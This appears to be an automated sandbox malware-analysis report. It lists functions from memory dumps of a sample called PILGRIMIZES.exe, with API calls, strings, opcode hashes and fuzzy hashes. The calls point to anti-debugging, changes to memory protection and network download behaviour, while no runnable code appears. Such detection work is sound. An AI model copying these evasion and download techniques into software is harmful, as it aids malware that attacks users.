Function 005609D6, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 186nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00567101: LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00567E3E,F21FD920), ref: 00560A3A

Strings

1.!T, xrefs: 00560A20
kernel32, xrefs: 00565355
6, xrefs: 00560A3C

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction ID: ed05ffc2602f9901793251283c9b9df41cd3aa24225eeab7c5fbdbd3f8b821f2
Opcode Fuzzy Hash: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction Fuzzy Hash: 0451812C290B0046DE451F249856BDEBE10BF21B70FC01766EB391B6F6F6644682D36E

Uniqueness

Uniqueness Score: -1.00%

Function 005608E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

1.!T, xrefs: 00560A20
6, xrefs: 00560A3C

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1.!T$6
API String ID: 0-4198636089
Opcode ID: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction ID: 808cfa0d3d3e66b707026e96e9007a463d2b7b9b94b3af3ba92052f14a7d5eec
Opcode Fuzzy Hash: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction Fuzzy Hash: 3E31083528030596FF005F60894AB9BBFA3BF57B74FA0116AEE0A2B1D7D6609502D725

Uniqueness

Uniqueness Score: -1.00%

Function 00568BF1, Relevance: 1.8, APIs: 1, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056868B,00000040,00560A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00568BD7

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction ID: 07ae72dd47a4921ff745672a852adec9fca1c2a7fdec05f36d0ff9faa460de2a
Opcode Fuzzy Hash: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction Fuzzy Hash: 2671155A0656404FEB050754A959EBABF79FA137307E003BBC23A8F5F3D9940A43A336

Uniqueness

Uniqueness Score: -1.00%

Function 00568511, Relevance: 1.8, APIs: 1, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction ID: 756cc746b1b2292ed732044d8f3a48830505cff8ab647c9e185d4b2ea2885978
Opcode Fuzzy Hash: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction Fuzzy Hash: C491B8709043428FDB25DF28C4D4B75BFA1BF66324F548799D5968B2D6CB348882C722

Uniqueness

Uniqueness Score: -1.00%

Function 00562A2B, Relevance: 1.7, APIs: 1, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1ba32e44fb8e7c6713f7a8909385c74303f99db77d92c133048e5774c71d67
Instruction ID: 84df3fc44e80b5abe1cd538abad91198a54a64ccda3e25f3df1dde3da88acc4a
Opcode Fuzzy Hash: eb1ba32e44fb8e7c6713f7a8909385c74303f99db77d92c133048e5774c71d67
Instruction Fuzzy Hash: 1BD1A11A150A008ADF111B94594AFEEBF65BF03730FE007B6C63A1F9F7D6900A87A765

Uniqueness

Uniqueness Score: -1.00%

Function 00568FBC, Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction ID: 548aff3fee09a66c413afc9ecf9859701971028fbd84b6fe141d21bc3a59118e
Opcode Fuzzy Hash: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction Fuzzy Hash: A23138317056458FEF259E24C9483E87FAAFF633A1F68416AC9469B1E1D338C8C5CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00568BBB, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056868B,00000040,00560A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00568BD7

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction ID: 99a9d8d00dcc117a606ac92e411db70f0a20e9638b8254fcc77bd410a86e3b5b
Opcode Fuzzy Hash: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction Fuzzy Hash: 72C012E82240002E68048E28CD48D2BB2AA86D8A28B10C32CB872B22CCCA30EC058132

Uniqueness

Uniqueness Score: -1.00%

Function 00562B5F, Relevance: 1.4, APIs: 1, Instructions: 171sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000800,?,00000000,00000000,00000000,?,00000000,00000000,Function_00009896,00000000,00000000,00000000), ref: 00562D78

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2773454b8f76ae99ac8d35e1259e4f98347d547dee256a8770e75b52507812dd
Instruction ID: b47bd8fc4822494f755aadccde1b1a09f2b13eb41730e4e39fbee006a468f1a5
Opcode Fuzzy Hash: 2773454b8f76ae99ac8d35e1259e4f98347d547dee256a8770e75b52507812dd
Instruction Fuzzy Hash: AB51BF24150E00AAEF451F15984ABEDBF24FF12731FC00BA6D7390F9F6D6204A82D76A

Uniqueness

Uniqueness Score: -1.00%

Function 00562BC9, Relevance: 1.3, APIs: 1, Instructions: 91sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000800,?,00000000,00000000,00000000,?,00000000,00000000,Function_00009896,00000000,00000000,00000000), ref: 00562D78

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d1b566eb25e8545829012763d5bec225020e6596cdbe5e7c36663555ab99f1e9
Instruction ID: 4193dd1eff3c6c3ba42e4bd66dc0cd219e5a046de7248d1fcf4707502146003b
Opcode Fuzzy Hash: d1b566eb25e8545829012763d5bec225020e6596cdbe5e7c36663555ab99f1e9
Instruction Fuzzy Hash: BC31BE70244741EFEB20AF24CC4EBA97BA5FF04351F218459F9465B1E2C7B59D80CA21

Uniqueness

Uniqueness Score: -1.00%

Function 00564AF0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

0={,, xrefs: 00564C7F

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: 9aa2f3b74920965ef850330ae829c79a1170f2903e8519a33e4a61c689552a22
Instruction ID: 6d122d5231cf76e81843cbede4e7dfe79b1d51fe894bb88cdaacd70b0c0326fd
Opcode Fuzzy Hash: 9aa2f3b74920965ef850330ae829c79a1170f2903e8519a33e4a61c689552a22
Instruction Fuzzy Hash: 8D516EB460824F8BCB15EF6488967EE3F62BF99358F20841AFC4687305DF359842DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00564796, Relevance: 3.3, APIs: 2, Instructions: 251networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: babc76a94de57fc1d3ca6c680d56ca43ceedaabd49242a562c00326b24953485
Instruction ID: 87b4a178164bb0633ce20fcb7943821f63af152b9ab1e7b15093b0fe14494c8a
Opcode Fuzzy Hash: babc76a94de57fc1d3ca6c680d56ca43ceedaabd49242a562c00326b24953485
Instruction Fuzzy Hash: 3A61831A15028186DF111B909A45FEEBF6ABB03730FE00776C73A1F9F7D6640643AB69

Uniqueness

Uniqueness Score: -1.00%

Function 005665CF, Relevance: 2.8, APIs: 1, Instructions: 1296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcd1057523d489ed2f189da6d245afb5430581cbb1fe36a8d7ca6aba564303d1
Instruction ID: 763563542128838b0ef1ab6691001b78893b9a0549dfc4aeaf760a60f48670b5
Opcode Fuzzy Hash: fcd1057523d489ed2f189da6d245afb5430581cbb1fe36a8d7ca6aba564303d1
Instruction Fuzzy Hash: 5362B44E0206008A9E401B94665AEAEFF69BD13B307E017B6C33F1F9F7D5540787A76A

Uniqueness

Uniqueness Score: -1.00%

Function 0056906E, Relevance: 2.6, APIs: 1, Instructions: 1141filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 00569762

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction ID: b2f1c98abda4a16922adcc9060033c42eaec4b940d3e6d2f9d9f95bcdd5720e4
Opcode Fuzzy Hash: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction Fuzzy Hash: A9527F1E120600869F410B54665DAA9FF6DBD13B31BE017BAC33B0B9F7D5740387A6AA

Uniqueness

Uniqueness Score: -1.00%

Function 00567128, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction ID: a5ede441c5f177244f15d77542a44c54f24bd37fad40edfcf392f7d129825b51
Opcode Fuzzy Hash: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction Fuzzy Hash: 8781791E0182088B8F001B64A156ADEBF65BD1B7387E017B7E63A1B5F7C7600683EB65

Uniqueness

Uniqueness Score: -1.00%

Function 00566FE8, Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction ID: 6143c3016ff408c23ba92f0a155e007a87775a2f2a9c6a03f0cba5c3d4a95baf
Opcode Fuzzy Hash: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction Fuzzy Hash: F351D54E018248868E411B50658EAAEFF39BD1BB35BE02772C33B0B5F7D5540283AF76

Uniqueness

Uniqueness Score: -1.00%

Function 00569779, Relevance: 1.7, APIs: 1, Instructions: 204filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 00569762

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 57876096c5a45833adbaf9c5e3192350c0cabb904e0249ef808af8b2d40d8f6b
Instruction ID: 7307bbb062862ddc15319be796320aff3fd2b9a6c9292b9840ebea317ad1326d
Opcode Fuzzy Hash: 57876096c5a45833adbaf9c5e3192350c0cabb904e0249ef808af8b2d40d8f6b
Instruction Fuzzy Hash: 4B516E0A020640865B451FA46659AAEFF6DFD13B307E007BBC33E1F8F7D5640287A6A6

Uniqueness

Uniqueness Score: -1.00%

Function 0056939B, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction ID: 3b4996ae5e06e98c1391b93d2429d966fed41e9327dc730792ba57a89b4bd771
Opcode Fuzzy Hash: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction Fuzzy Hash: 155187292106404ADF055B158459BEDBE18FF21732FC41BABC3390FAF9DA344683D39A

Uniqueness

Uniqueness Score: -1.00%

Function 005695B3, Relevance: 1.7, APIs: 1, Instructions: 163filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 00569762

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction ID: 7a46c77797bb955e6965cc6b4c42f12c766785baabcb13dcc7f009a41f0953fb
Opcode Fuzzy Hash: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction Fuzzy Hash: A651662912070049DF661B24D459BEDBE1CBF22731FC017ABC33A0B9F6D6344282D79A

Uniqueness

Uniqueness Score: -1.00%

Function 00566DD6, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 971a89b1c254668a12161234220d913fd9833d6ace18a70324de643700c44ad3
Instruction ID: 6d17907f7759d16af9344bb67525130e3d4dff79f2cd86bcca5003ac27829a64
Opcode Fuzzy Hash: 971a89b1c254668a12161234220d913fd9833d6ace18a70324de643700c44ad3
Instruction Fuzzy Hash: 5A11AFB850428F29DF357B24DC157FA7E18BF59768FA08654FC6547085CB748CC1CA24

Uniqueness

Uniqueness Score: -1.00%

Function 00564270, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction ID: 45a597f89b6d684810e4384745501fdde66161dc082707ba9a77bf6ab57ecac2
Opcode Fuzzy Hash: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction Fuzzy Hash: 23F0A79810825F39CE103E644E597FE2E19BF6DBBCF704422BC96931099F6488C29565

Uniqueness

Uniqueness Score: -1.00%

Function 00561C9C, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 20e1765b5d3194c9b2a81536ed99d5c19f532673f2b52de0dadf91248ac90ee2
Instruction ID: f616fc5f82803cbb658ff232b9c00ee54ef265920625428c4ca58c9a83ef592f
Opcode Fuzzy Hash: 20e1765b5d3194c9b2a81536ed99d5c19f532673f2b52de0dadf91248ac90ee2
Instruction Fuzzy Hash: 0BF0279860829F38CA203A644E197FE2E68BF6DBBCF744422BC92831099BA448C14562

Uniqueness

Uniqueness Score: -1.00%

Function 00567101, Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction ID: 9b9f2031dcc7264f34bfe4b73eb6fd20af45081f2a9db5c22769d3134c9354e9
Opcode Fuzzy Hash: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction Fuzzy Hash: 89E02BC810835F39CA103B744E197FE2E18FFACBACF708411BC96931099B7488C14565

Uniqueness

Uniqueness Score: -1.00%

Function 005668EA, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,00561E43,?,?,?,?,0056580C,005657E5,00561233), ref: 00566B0A

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction ID: 63c77e8d7509ae42ec4afdc7769ab098341bbf9c4e8edcc527042b61e23e5acd
Opcode Fuzzy Hash: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction Fuzzy Hash: B6C04C71248304EBE754DB10CDD5F6B7AA8BF90748F219815F987D7151C730ED04D625

Uniqueness

Uniqueness Score: -1.00%

Function 00564281, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00564154,005642A3,00560A41,?,00567E3E,F21FD920), ref: 00564295

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Function 005674A8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00000000,00562843,00000000,?,?,00000014,?,?,00000014), ref: 005674AB

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c9993196bc088be776cc54674a118fdaf022d4553cc0a768563112edcc0a48b6
Instruction ID: 1e0f47e42302d2d102504011f1774c64d747347936bbd44ebe6cc4874ee1aeed
Opcode Fuzzy Hash: c9993196bc088be776cc54674a118fdaf022d4553cc0a768563112edcc0a48b6
Instruction Fuzzy Hash: DDB00275410149ABCF015FA0DD0C98E3F25BF44351B008450B91595060C635C560DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00562D44, Relevance: 1.5, APIs: 1, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc9fa3292c1503acd6db6bef85ac1228da2160bc1d63194df17bcb5c1840ddab
Instruction ID: ba9c9d4ec1505f2df3dee00225498f05872972f237b6d847b538bcee1c5617ce
Opcode Fuzzy Hash: fc9fa3292c1503acd6db6bef85ac1228da2160bc1d63194df17bcb5c1840ddab
Instruction Fuzzy Hash: 1A51DD4A150A418ADF410B50654AFEAFB39BF03B31FE007B6C63A0F4F7D6550A83A766

Uniqueness

Uniqueness Score: -1.00%

Function 00562D66, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000800,?,00000000,00000000,00000000,?,00000000,00000000,Function_00009896,00000000,00000000,00000000), ref: 00562D78

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bfcdd0c547329d3dd542f0c3598f23796ddd62dcf6801014dc639ecf5b366bb7
Instruction ID: f8d473e5386224885e00f3ba016bb7c2454a4bf327502baa12c44dd722268b69
Opcode Fuzzy Hash: bfcdd0c547329d3dd542f0c3598f23796ddd62dcf6801014dc639ecf5b366bb7
Instruction Fuzzy Hash: 65F06530504741DFDB607F60C88DB997F69BF04721F518195EA490B0A38B328D41CE32

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: PILGRIMIZES.exe PID: 6776 Parent PID: 6728 PILGRIMIZES.exeCOMMON

Executed Functions

Function 021D0949, Relevance: 14.6, APIs: 2, Strings: 6, Instructions: 575COMMON

Download Yara Rule

Strings

kernel32, xrefs: 021D5355
ntdll, xrefs: 021D53E0
1.!T, xrefs: 021D0A20
TEMP=, xrefs: 021D5402
6, xrefs: 021D0A3C
user32, xrefs: 021D53D4

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID: 1.!T$TEMP=$kernel32$ntdll$user32$6
API String ID: 0-1535988826
Opcode ID: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction ID: 983cc3437f2b21921871dcde06a442ef03539efbf4dd8f99377b06daa78e24ee
Opcode Fuzzy Hash: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction Fuzzy Hash: 90F1F35A1C0200EADE451F555986BEAFB36AE17730FD007E7C23E1A4EBE758118386B7

Uniqueness

Uniqueness Score: -1.00%

Function 021D4791, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301librarynativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,021D7E3E,F21FD920), ref: 021D0A3A
LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021D09F0,00000000,?,021D7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021D71A2

Strings

kernel32, xrefs: 021D5355
1.!T, xrefs: 021D0A20
6, xrefs: 021D0A3C

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: f2c38d81423dff7b716480527dc50708ad5b8929b4b0035873890d081cae67f8
Instruction ID: e4c26a57ffed3f4cb692c2f9e79d6880c0176c8301761892fa891a05505f5375
Opcode Fuzzy Hash: f2c38d81423dff7b716480527dc50708ad5b8929b4b0035873890d081cae67f8
Instruction Fuzzy Hash: ECA137352C0341EAEF616F248C85BEEB726AF14770FC00356EE391A4D9D73895868B66

Uniqueness

Uniqueness Score: -1.00%

Function 021D21CE, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 493COMMON

Download Yara Rule

Strings

kernel32, xrefs: 021D5355
1.!T, xrefs: 021D0A20
6, xrefs: 021D0A3C

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 1.!T$kernel32$6
API String ID: 1029625771-3815127790
Opcode ID: e66d33a04ea8c841b911594676a374bff4d08d4e93b98d48ede39be01a0587b6
Instruction ID: 9eb306e6968d84eff80eb732a036cfc8cb861197a5f2e1649716ea059b3bbfd3
Opcode Fuzzy Hash: e66d33a04ea8c841b911594676a374bff4d08d4e93b98d48ede39be01a0587b6
Instruction Fuzzy Hash: 4CF10435680601EBDB549F28CC81BEAF7A5BF14330F94436AED78576C6C738A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 021D2EB1, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

kernel32, xrefs: 021D5355
1.!T, xrefs: 021D0A20
6, xrefs: 021D0A3C

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID: 1.!T$kernel32$6
API String ID: 0-3815127790
Opcode ID: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction ID: c6ce4b764c3c15ceac6e4824386e9a5267db142fc9c184e8161f17534f22cafb
Opcode Fuzzy Hash: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction Fuzzy Hash: 0251F729680300EADF451F244886BEEF7239F25770FD00397DB391B4DAD72899868677

Uniqueness

Uniqueness Score: -1.00%

Function 021D09D6, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 186nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 021D7101: LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021D09F0,00000000,?,021D7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021D71A2

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,021D7E3E,F21FD920), ref: 021D0A3A

Strings

kernel32, xrefs: 021D5355
1.!T, xrefs: 021D0A20
6, xrefs: 021D0A3C

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction ID: d06e4a0d2d700c2e0db2d23cef1723fc6550fdebc31c31632db42f82a8a53318
Opcode Fuzzy Hash: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction Fuzzy Hash: 4751E729680310EADF452F144886BEEFB229F25770FC00797DB391B4DAD728958686B7

Uniqueness

Uniqueness Score: -1.00%

Function 021D08E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

1.!T, xrefs: 021D0A20
6, xrefs: 021D0A3C

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID: 1.!T$6
API String ID: 0-4198636089
